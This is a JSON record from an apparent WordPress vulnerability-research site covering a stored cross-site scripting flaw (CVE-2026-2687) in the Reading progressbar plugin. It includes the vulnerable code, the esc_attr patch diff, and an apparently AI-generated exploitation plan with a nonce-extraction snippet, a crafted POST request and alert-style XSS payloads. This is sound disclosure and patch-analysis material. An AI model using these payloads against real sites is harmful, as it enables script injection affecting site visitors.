[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fbfnb_VA4EulA1FHqj763s_sEdXoSmRi9LO597XayPO0":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-2687","reading-progressbar-authenticated-administrator-stored-cross-site-scripting","Reading progressbar \u003C 1.3.1 - Authenticated (Administrator+) Stored Cross-Site Scripting","The Reading progressbar plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to 1.3.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.","reading-progress-bar",null,"\u003C1.3.1","1.3.1","medium",4.4,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:H\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-03-12 00:00:00","2026-03-19 14:56:41",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F174b9b5a-82a3-4ee4-b926-edb27e38652a?source=api-prod",8,[22,23,24,25],"README.txt","admin\u002Frp-admin.php","public\u002Frp-public.php","reading-progressbar.php","researched",false,3,"This research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the **Reading progressbar** plugin for WordPress.\n\n### 1. Vulnerability Summary\nThe \"Reading progressbar\" plugin fails to sanitize user-controlled settings before storing them and fails to escape them when outputting them to the page. Specifically, values stored in the `rp_settings` option are echoed directly into the HTML of both the admin settings page and the public-facing frontend.\n\nThis allows an authenticated user with Administrator privileges (even if `unfiltered_html` is disabled, such as on a Multisite installation) to inject arbitrary JavaScript. The payload is stored in the WordPress database and executed whenever a user (including other Administrators) visits a page where the progress bar is rendered.\n\n### 2. Attack Vector Analysis\n*   **Vulnerable Endpoint:** `wp-admin\u002Foptions.php` (The standard WordPress settings handler).\n*   **Vulnerable Parameter:** `rp_settings[rp_field_custom_position]`, `rp_settings[rp_field_fg_color]`, or `rp_settings[rp_field_bg_color]`.\n*   **Authentication Level:** Administrator (capability `manage_options`).\n*   **Preconditions:** The plugin must be active. To trigger the frontend XSS, the progress bar must be enabled for at least one template (e.g., the homepage).\n\n### 3. Code Flow\n1.  **Input:** An administrator submits the settings form at `wp-admin\u002Foptions-general.php?page=reading-progressbar`.\n2.  **Processing (Admin):** `admin\u002Frp-admin.php` registers the setting via `register_setting( 'pluginPage', 'rp_settings' );` (Line 62). It defines no sanitization callback.\n3.  **Storage:** WordPress saves the raw, unsanitized array into the `rp_settings` option in the `wp_options` table.\n4.  **Admin Rendering:** `admin\u002Frp-admin.php` renders the settings fields. In `rp_field_custom_position_render()` (Line 197), the value is echoed directly:\n    ```php\n    \u003Cinput type='text' name='rp_settings[rp_field_custom_position]' value='\u003C?php echo $optionCustomPosition; ?>'>\n    ```\n5.  **Public Rendering:** `public\u002Frp-public.php` hooks into `wp_footer` via `rp_show_it()` (Line 58). It retrieves the settings and echoes them into a `\u003Cprogress>` element without escaping:\n    ```php\n    echo '\u003Cprogress class=\"readingProgressbar\" \n        data-height=\"' . $rpHeight . '\" \n        data-position=\"'. $rpPosition .'\" \n        data-custom-position=\"'. $rpCustomPosition .'\" \n        ...';\n    ```\n\n### 4. Nonce Acquisition Strategy\nThe vulnerability is exploited via the standard WordPress Settings API. To update settings, a nonce for the specific settings group (`pluginPage`) is required.\n\n1.  **Navigate:** Use `browser_navigate` to go to `wp-admin\u002Foptions-general.php?page=reading-progressbar`.\n2.  **Extract:** Use `browser_eval` to retrieve the nonce and the referer from the form.\n    ```javascript\n    const nonce = document.querySelector('input[name=\"_wpnonce\"]').value;\n    const referer = document.querySelector('input[name=\"_wp_http_referer\"]').value;\n    return { nonce, referer };\n    ```\n3.  **Note:** This is an authenticated action. The agent must be logged in as an Administrator.\n\n### 5. Exploitation Strategy\n1.  **Login:** Log in as an Administrator.\n2.  **Configure Plugin:** Ensure the progress bar is configured to show on the homepage.\n3.  **Obtain Nonce:** Navigate to the plugin settings page and extract the `_wpnonce` for the `pluginPage` group.\n4.  **Inject Payload:** Send a POST request to `wp-admin\u002Foptions.php` with the malicious payload.\n    *   **URL:** `https:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Foptions.php`\n    *   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n    *   **Parameters:**\n        *   `option_page`: `pluginPage`\n        *   `action`: `update`\n        *   `_wpnonce`: `[EXTRACTED_NONCE]`\n        *   `_wp_http_referer`: `\u002Fwp-admin\u002Foptions-general.php?page=reading-progressbar`\n        *   `rp_settings[rp_field_height]`: `5`\n        *   `rp_settings[rp_field_position]`: `custom`\n        *   `rp_settings[rp_field_custom_position]`: `\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>`\n        *   `rp_settings[rp_field_templates][home]`: `1` (Enable on homepage)\n5.  **Trigger:** Navigate to the site homepage.\n\n### 6. Test Data Setup\n1.  **Plugin Activation:** `wp plugin activate reading-progress-bar`\n2.  **Post Creation:** Ensure there is at least one post or the homepage is accessible so the progress bar has a target to render on.\n    *   `wp post create --post_type=page --post_title=\"Home\" --post_status=publish`\n    *   `wp option update show_on_front page`\n    *   `wp option update page_on_front $(wp post list --post_type=page --post_title=\"Home\" --field=ID)`\n\n### 7. Expected Results\n*   **Response:** The POST to `options.php` should return a `302 Redirect` back to the settings page with `settings-updated=true`.\n*   **Frontend Impact:** Upon visiting the homepage, the HTML source will contain:\n    ```html\n    \u003Cprogress class=\"readingProgressbar\" ... data-custom-position=\"\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\" ...>\n    ```\n*   **Execution:** A JavaScript alert box showing the domain will appear.\n\n### 8. Verification Steps\n1.  **Check DB:** Verify the stored option via WP-CLI:\n    ```bash\n    wp option get rp_settings --format=json\n    ```\n    Confirm the `rp_field_custom_position` key contains the script tag.\n2.  **Check Admin Page:** Navigate to `wp-admin\u002Foptions-general.php?page=reading-progressbar` and inspect the source of the \"Target fixed HTML element\" input field. It should show the attribute breakout.\n\n### 9. Alternative Approaches\n*   **Alternative Field:** If `rp_field_custom_position` is sanitized in some environments, try `rp_field_fg_color` or `rp_field_bg_color`.\n*   **Admin-Only XSS:** Even if the frontend fails to render (e.g., due to theme incompatibility), the XSS will still fire on the **Settings Page** itself when the administrator views it, because `rp_field_custom_position_render` also echoes the value unsanitized into the `value` attribute. Use payload: `' onmouseover='alert(1) '`.","The Reading progressbar plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to 1.3.1. This occurs because the plugin fails to sanitize and escape settings such as custom position and colors before storing them and rendering them in both the admin dashboard and the public frontend, allowing administrators to inject arbitrary JavaScript.","\u002F\u002F admin\u002Frp-admin.php (v1.3)\nfunction rp_field_height_render(  ) {\n\t$options = get_option( 'rp_settings' );\n\tif (isset($options['rp_field_height'])) {\n\t\t$optionHeight = $options['rp_field_height'];\n\t} else {\n\t\t$optionHeight = '';\t\t\n\t}\n\t?>\n\t\u003Cinput type='number' name='rp_settings[rp_field_height]' value='\u003C?php echo $optionHeight; ?>'>\n\t\u003C?php\n}\n\n\u002F\u002F ... lines 197-199\nfunction rp_field_custom_position_render(  ) {\n    \u002F\u002F ...\n\t\u003Cinput type='text' name='rp_settings[rp_field_custom_position]' value='\u003C?php echo $optionCustomPosition; ?>'>\n\n---\n\n\u002F\u002F public\u002Frp-public.php (v1.3)\nfunction rp_show_it() {\n    \u002F\u002F ... retrieves $rpHeight, $rpPosition, $rpCustomPosition, etc.\n    if ( isset($optionTemplates['home']) && (is_home() && is_front_page() || is_front_page()) ) {\n        echo '\u003Cprogress class=\"readingProgressbar\" \n            data-height=\"' . $rpHeight . '\" \n            data-position=\"'. $rpPosition .'\" \n            data-custom-position=\"'. $rpCustomPosition .'\" \n            data-foreground=\"' . $rpForegroundColor . '\" \n            data-background=\"' . $rpBackgroundColor . '\" \n            value=\"0\">\u003C\u002Fprogress>';\n    }\n    \u002F\u002F ... (logic repeated for other template types)\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Freading-progress-bar\u002F1.3\u002Fadmin\u002Frp-admin.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Freading-progress-bar\u002F1.3.1\u002Fadmin\u002Frp-admin.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Freading-progress-bar\u002F1.3\u002Fadmin\u002Frp-admin.php\t2016-12-28 16:17:40.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Freading-progress-bar\u002F1.3.1\u002Fadmin\u002Frp-admin.php\t2026-02-18 12:09:20.000000000 +0000\n@@ -132,7 +132,7 @@\n \t\t$optionHeight = '';\t\t\n \t}\n \t?>\n-\t\u003Cinput type='number' name='rp_settings[rp_field_height]' value='\u003C?php echo $optionHeight; ?>'>\n+\t\u003Cinput type='number' name='rp_settings[rp_field_height]' value='\u003C?php echo esc_attr( $optionHeight ); ?>'>\n \t\u003C?php\n }\n \n@@ -145,7 +145,7 @@\n \t\t$optionForegroundColor = '';\t\t\n \t}\n \t?>\n-\t\u003Cinput type='text' class='rp-colorpicker' name='rp_settings[rp_field_fg_color]' value='\u003C?php echo $optionForegroundColor; ?>'>\n+\t\u003Cinput type='text' class='rp-colorpicker' name='rp_settings[rp_field_fg_color]' value='\u003C?php echo esc_attr( $optionForegroundColor ); ?>'>\n \t\u003C?php\n }\n \n@@ -157,7 +157,7 @@\n \t\t$optionBackgroundColor = '';\t\t\n \t}\n \t?>\n-\t\u003Cinput type='text' class='rp-colorpicker' name='rp_settings[rp_field_bg_color]' value='\u003C?php echo $optionBackgroundColor; ?>'>\n+\t\u003Cinput type='text' class='rp-colorpicker' name='rp_settings[rp_field_bg_color]' value='\u003C?php echo esc_attr( $optionBackgroundColor ); ?>'>\n \t\u003C?php\n }\n \n@@ -186,7 +186,7 @@\n \t\t$optionCustomPosition = '';\t\t\n \t}\n \t?>\n-\t\u003Cinput type='text' name='rp_settings[rp_field_custom_position]' value='\u003C?php echo $optionCustomPosition; ?>'>\n+\t\u003Cinput type='text' name='rp_settings[rp_field_custom_position]' value='\u003C?php echo esc_attr( $optionCustomPosition ); ?>'>\n \t\u003Cp class=\"description\">\u003C?php echo __('Note: use it only if you have selected \u003Cb>custom\u003C\u002Fb> position before, instead of \u003Cb>top\u003C\u002Fb> or \u003Cb>bottom\u003C\u002Fb>', 'reading-progress-bar'); ?>\u003C\u002Fp>\n \t\u003C?php\n }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Freading-progress-bar\u002F1.3\u002Fpublic\u002Frp-public.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Freading-progress-bar\u002F1.3.1\u002Fpublic\u002Frp-public.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Freading-progress-bar\u002F1.3\u002Fpublic\u002Frp-public.php\t2021-07-01 15:10:50.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Freading-progress-bar\u002F1.3.1\u002Fpublic\u002Frp-public.php\t2026-02-18 12:09:20.000000000 +0000\n@@ -62,38 +62,38 @@\n \t\t\t\t$optionTemplates = $rpSettings['rp_field_templates'];\n \t\t\t\tif ( isset($optionTemplates['home']) && (is_home() && is_front_page() || is_front_page()) ) {\n \t\t\t\t\techo '\u003Cprogress class=\"readingProgressbar\" \n-\t\t\t\t\t\tdata-height=\"' . $rpHeight . '\" \n-\t\t\t\t\t\tdata-position=\"'. $rpPosition .'\" \n-\t\t\t\t\t\tdata-custom-position=\"'. $rpCustomPosition .'\" \n-\t\t\t\t\t\tdata-foreground=\"' . $rpForegroundColor . '\" \n-\t\t\t\t\t\tdata-background=\"' . $rpBackgroundColor . '\" \n+\t\t\t\t\t\tdata-height=\"' . esc_attr( $rpHeight ) . '\" \n+\t\t\t\t\t\tdata-position=\"'. esc_attr( $rpPosition ) .'\" \n+\t\t\t\t\t\tdata-custom-position=\"'. esc_attr( $rpCustomPosition ) .'\" \n+\t\t\t\t\t\tdata-foreground=\"' . esc_attr( $rpForegroundColor ) . '\" \n+\t\t\t\t\t\tdata-background=\"' . esc_attr( $rpBackgroundColor ) . '\" \n \t\t\t\t\t\tvalue=\"0\">\u003C\u002Fprogress>';\n \t\t\t\t} elseif ( isset($optionTemplates['blog']) && (is_home() && !is_front_page()) ) {\n \t\t\t\t\techo '\u003Cprogress class=\"readingProgressbar\" \n-\t\t\t\t\t\tdata-height=\"' . $rpHeight . '\" \n-\t\t\t\t\t\tdata-position=\"'. $rpPosition .'\" \n-\t\t\t\t\t\tdata-custom-position=\"'. $rpCustomPosition .'\" \n-\t\t\t\t\t\tdata-foreground=\"' . $rpForegroundColor . '\" \n-\t\t\t\t\t\tdata-background=\"' . $rpBackgroundColor . '\" \n+\t\t\t\t\t\tdata-height=\"' . esc_attr( $rpHeight ) . '\" \n+\t\t\t\t\t\tdata-position=\"'. esc_attr( $rpPosition ) .'\" \n+\t\t\t\t\t\tdata-custom-position=\"'. esc_attr( $rpCustomPosition ) .'\" \n+\t\t\t\t\t\tdata-foreground=\"' . esc_attr( $rpForegroundColor ) . '\" \n+\t\t\t\t\t\tdata-background=\"' . esc_attr( $rpBackgroundColor ) . '\" \n \t\t\t\t\t\tvalue=\"0\">\u003C\u002Fprogress>';\n \t\t\t\t} elseif ( isset($optionTemplates['archive']) && (is_archive()) ) {\n \t\t\t\t\techo '\u003Cprogress class=\"readingProgressbar\" \n-\t\t\t\t\t\tdata-height=\"' . $rpHeight . '\" \n-\t\t\t\t\t\tdata-position=\"'. $rpPosition .'\" \n-\t\t\t\t\t\tdata-custom-position=\"'. $rpCustomPosition .'\" \n-\t\t\t\t\t\tdata-foreground=\"' . $rpForegroundColor . '\" \n-\t\t\t\t\t\tdata-background=\"' . $rpBackgroundColor . '\" \n+\t\t\t\t\t\tdata-height=\"' . esc_attr( $rpHeight ) . '\" \n+\t\t\t\t\t\tdata-position=\"'. esc_attr( $rpPosition ) .'\" \n+\t\t\t\t\t\tdata-custom-position=\"'. esc_attr( $rpCustomPosition ) .'\" \n+\t\t\t\t\t\tdata-foreground=\"' . esc_attr( $rpForegroundColor ) . '\" \n+\t\t\t\t\t\tdata-background=\"' . esc_attr( $rpBackgroundColor ) . '\" \n \t\t\t\t\t\tvalue=\"0\">\u003C\u002Fprogress>';\n \t\t\t\t} elseif ( isset($optionTemplates['single']) && (is_singular() && !is_front_page()) ) {\n \t\t\t\t\t$optionPostTypes = $rpSettings['rp_field_posttypes'];\n \t\t\t\t\t$currentPostType = get_post_type();\n \t\t\t\t\tif (isset($optionPostTypes[$currentPostType])) {\n \t\t\t\t\t\techo '\u003Cprogress class=\"readingProgressbar\" \n-\t\t\t\t\t\t\tdata-height=\"' . $rpHeight . '\" \n-\t\t\t\t\t\t\tdata-position=\"'. $rpPosition .'\" \n-\t\t\t\t\t\t\tdata-custom-position=\"'. $rpCustomPosition .'\" \n-\t\t\t\t\t\t\tdata-foreground=\"' . $rpForegroundColor . '\" \n-\t\t\t\t\t\t\tdata-background=\"' . $rpBackgroundColor . '\" \n+\t\t\t\t\t\t\tdata-height=\"' . esc_attr( $rpHeight ) . '\" \n+\t\t\t\t\t\t\tdata-position=\"'. esc_attr( $rpPosition ) .'\" \n+\t\t\t\t\t\t\tdata-custom-position=\"'. esc_attr( $rpCustomPosition ) .'\" \n+\t\t\t\t\t\t\tdata-foreground=\"' . esc_attr( $rpForegroundColor ) . '\" \n+\t\t\t\t\t\t\tdata-background=\"' . esc_attr( $rpBackgroundColor ) . '\" \n \t\t\t\t\t\t\tvalue=\"0\">\u003C\u002Fprogress>';\n \t\t\t\t\t} \n \t\t\t\t}","To exploit this vulnerability, an attacker with Administrator privileges needs to:\n1. Log in to the WordPress dashboard and navigate to the Reading Progressbar settings page at `wp-admin\u002Foptions-general.php?page=reading-progressbar`.\n2. Capture the security nonce (`_wpnonce`) for the `pluginPage` setting group from the page source.\n3. Send a POST request to `wp-admin\u002Foptions.php` to update the `rp_settings` option. The payload should include a malicious script in the `rp_settings[rp_field_custom_position]` parameter (e.g., `\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>`).\n4. Ensure the progress bar is enabled for at least one public template (like the homepage) in the same POST request.\n5. The script will execute whenever the administrator visits the settings page again or when any user visits the homepage.","gemini-3-flash-preview","2026-04-18 04:17:16","2026-04-18 04:17:38",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","1.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Freading-progress-bar\u002Ftags\u002F1.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Freading-progress-bar.1.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Freading-progress-bar\u002Ftags\u002F1.3.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Freading-progress-bar.1.3.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Freading-progress-bar\u002Ftags"]